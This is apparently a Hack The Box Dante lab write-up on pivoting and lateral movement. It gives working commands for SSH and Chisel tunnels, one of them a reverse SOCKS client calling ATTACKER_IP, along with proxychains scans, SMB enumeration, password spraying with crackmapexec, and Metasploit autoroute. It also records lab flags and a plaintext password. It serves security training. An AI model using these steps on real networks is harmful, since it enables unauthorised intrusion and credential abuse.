Hack The Box: Dante Pro Lab - Pivoting & Lateral Movement

Overview

After initial enumeration and gaining access to the web server, the next challenge in the Dante Pro Lab is pivoting through the network to reach internal segments. This writeup covers SSH tunneling, SOCKS proxies, and lateral movement techniques.

Network Architecture

┌─────────────────────────────────────────────────────────────┐
│                     DANTE NETWORK                            │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│   Attacker ──► DANTE-WEB-NIX01 ──► Internal Network         │
│   (VPN)        (Pivot Point)        (10.10.110.0/24)        │
│                                                              │
│                       │                                      │
│                       ▼                                      │
│            ┌──────────────────┐                             │
│            │ DANTE-NIX02-04   │ ◄── Linux Servers           │
│            │ DANTE-SQL01      │ ◄── Database                │
│            │ DANTE-DC01       │ ◄── Domain Controller       │
│            │ DANTE-WS01-03    │ ◄── Workstations           │
│            └──────────────────┘                             │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Establishing a Pivot Point

SSH Dynamic Port Forwarding

From the compromised web server, establish a SOCKS proxy:

# Local SOCKS proxy on port 1080
ssh -D 1080 -f -N -i dante_key user@10.10.110.100

# Verify the tunnel
ss -tlnp | grep 1080

Proxychains Configuration

# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

Now scan internal hosts through the pivot:

proxychains4 nmap -sT -Pn -p 22,80,443,445,3389 10.10.110.1-254

SSH Local Port Forwarding

Forward specific services for direct access:

# Forward internal RDP to local port
ssh -L 3389:10.10.110.50:3389 -N user@10.10.110.100

# Forward internal web application
ssh -L 8080:10.10.110.75:80 -N user@10.10.110.100

# Multiple forwards in one command
ssh -L 3389:10.10.110.50:3389 \
    -L 8080:10.10.110.75:80 \
    -L 1433:10.10.110.60:1433 \
    -N user@10.10.110.100

Chisel for Tunneling

When SSH isn’t available, Chisel provides an alternative:

On the Attacker Machine (Server)

./chisel server --reverse --port 9001

On the Compromised Host (Client)

./chisel client ATTACKER_IP:9001 R:socks

This creates a reverse SOCKS proxy accessible on the attacker machine.

Lateral Movement Discovery

Internal Network Scan Results

proxychains4 nmap -sT -Pn -sV 10.10.110.50-80

Host	Ports	Services
10.10.110.50	22, 80	SSH, Apache
10.10.110.55	445, 139	SMB
10.10.110.60	1433	MSSQL
10.10.110.65	3389	RDP
10.10.110.70	389, 636	LDAP (DC)

SMB Enumeration

# List shares through proxy
proxychains4 smbclient -L //10.10.110.55 -U guest

# Enumerate with enum4linux
proxychains4 enum4linux -a 10.10.110.55

Results

[+] Share Enumeration
  Sharename       Type      Comment
  ---------       ----      -------
  shared$         Disk      Developer Files
  ADMIN$          Disk      Remote Admin
  C$              Disk      Default share
  IPC$            IPC       Remote IPC

[+] Users found:
  james.admin
  developer
  svc-backup

Credential Discovery

Checking for Password Reuse

Using credentials discovered on DANTE-WEB-NIX01:

# Test SSH access
proxychains4 ssh developer@10.10.110.50

# Test SMB access
proxychains4 crackmapexec smb 10.10.110.55 -u developer -p 'D3v3l0p3r!'

Spraying the Network

# Create user list from enumeration
cat users.txt
james.admin
developer
svc-backup
balthazar
kevin
nathan

# Password spray with caution
proxychains4 crackmapexec smb 10.10.110.50-80 -u users.txt -p 'Summer2022!'

Second Pivot Point

After compromising DANTE-NIX02 (10.10.110.50):

Double Pivot with SSH

# First tunnel (already established)
ssh -D 1080 -f -N user@10.10.110.100

# Second tunnel through first
ssh -o ProxyCommand="nc -x 127.0.0.1:1080 %h %p" \
    -D 1081 -f -N developer@10.10.110.50

Proxychains for Double Pivot

# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1081  # Use second pivot

Metasploit Autoroute

Alternative approach using Metasploit:

# In meterpreter session on first pivot
run autoroute -s 10.10.110.0/24

# Background session
background

# Use SOCKS proxy module
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

# Now route traffic through Metasploit
setg Proxies socks5:127.0.0.1:1080

Key Findings

Flags Captured

Machine	Flag	Method
DANTE-NIX02	DANTE{P1v0t_L1k3_4_Pr0}	SSH with reused creds
DANTE-NIX03	DANTE{Spr4y_4nd_Pr4y}	Password spray

Lessons Learned

1. Password reuse is common — Credentials found on one host often work elsewhere
2. Service accounts have elevated access — The svc-backup account had broad network access
3. Network segmentation matters — The flat network made lateral movement trivial
4. Monitor for tunneling — SSH tunnels and SOCKS proxies are detection opportunities

Tools Used

Tool	Purpose
SSH	Dynamic port forwarding, tunneling
Chisel	Alternative tunneling when SSH unavailable
Proxychains4	Route tools through SOCKS proxy
CrackMapExec	SMB enumeration and credential validation
enum4linux	SMB/NetBIOS enumeration

Next Steps

With access to multiple internal hosts, the next phase focuses on:

1. Active Directory enumeration via LDAP
2. Database access and data exfiltration
3. Domain controller compromise
4. Persistence mechanisms

Continue to Part 4: Active Directory Exploitation →